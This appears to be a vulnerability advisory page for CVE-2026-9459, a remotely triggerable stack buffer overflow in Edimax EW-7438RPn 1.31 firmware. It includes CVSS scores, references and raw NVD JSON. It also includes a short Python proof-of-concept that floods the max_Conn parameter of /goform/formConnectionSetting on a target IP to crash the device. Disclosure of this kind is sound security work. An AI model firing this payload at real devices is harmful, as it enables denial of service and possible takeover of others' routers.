CVE-2026-9459

Description

A security flaw has been discovered in Edimax EW-7438RPn 1.31. This affects the function formConnectionSetting of the file /goform/formConnectionSetting. Performing a manipulation of the argument max_Conn/timeOut results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Edimax EW-7438RPn 1.31

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_ip):
    target_url = f"http://{target_ip}/goform/formConnectionSetting"
    
    # Payload to trigger the stack overflow
    # The specific length may need adjustment based on the actual buffer size
    payload_buffer = "A" * 500 
    
    data = {
        "max_Conn": payload_buffer,
        "timeOut": "10"
    }
    
    try:
        print(f"[+] Sending payload to {target_url}...")
        response = requests.post(target_url, data=data, timeout=5)
        print(f"[+] Server responded with status code: {response.status_code}")
        if response.status_code == 200:
            print("[+] Request sent, check device for crash or shell.")
    except requests.exceptions.RequestException as e:
        print(f"[-] Attack failed: {e}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print("Usage: python3 poc.py <target_ip>")
    else:
        exploit(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9459
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9459
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9459/
[4] VulDB https://vuldb.com/cve/CVE-2026-9459
[5] https://github.com/wudipjq/my_vuln/blob/main/Edimax/vuln_12/12.md
[6] https://vuldb.com/submit/813896
[7] https://vuldb.com/vuln/365440
[8] https://vuldb.com/vuln/365440/cti

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9459", "sourceIdentifier": "[email protected]", "published": "2026-05-25T14:16:29.040", "lastModified": "2026-05-25T14:16:29.040", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Edimax EW-7438RPn 1.31. This affects the function formConnectionSetting of the file /goform/formConnectionSetting. Performing a manipulation of the argument max_Conn/timeOut results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/wudipjq/my_vuln/blob/main/Edimax/vuln_12/12.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813896", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365440", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365440/cti", "source": "[email protected]"}]}}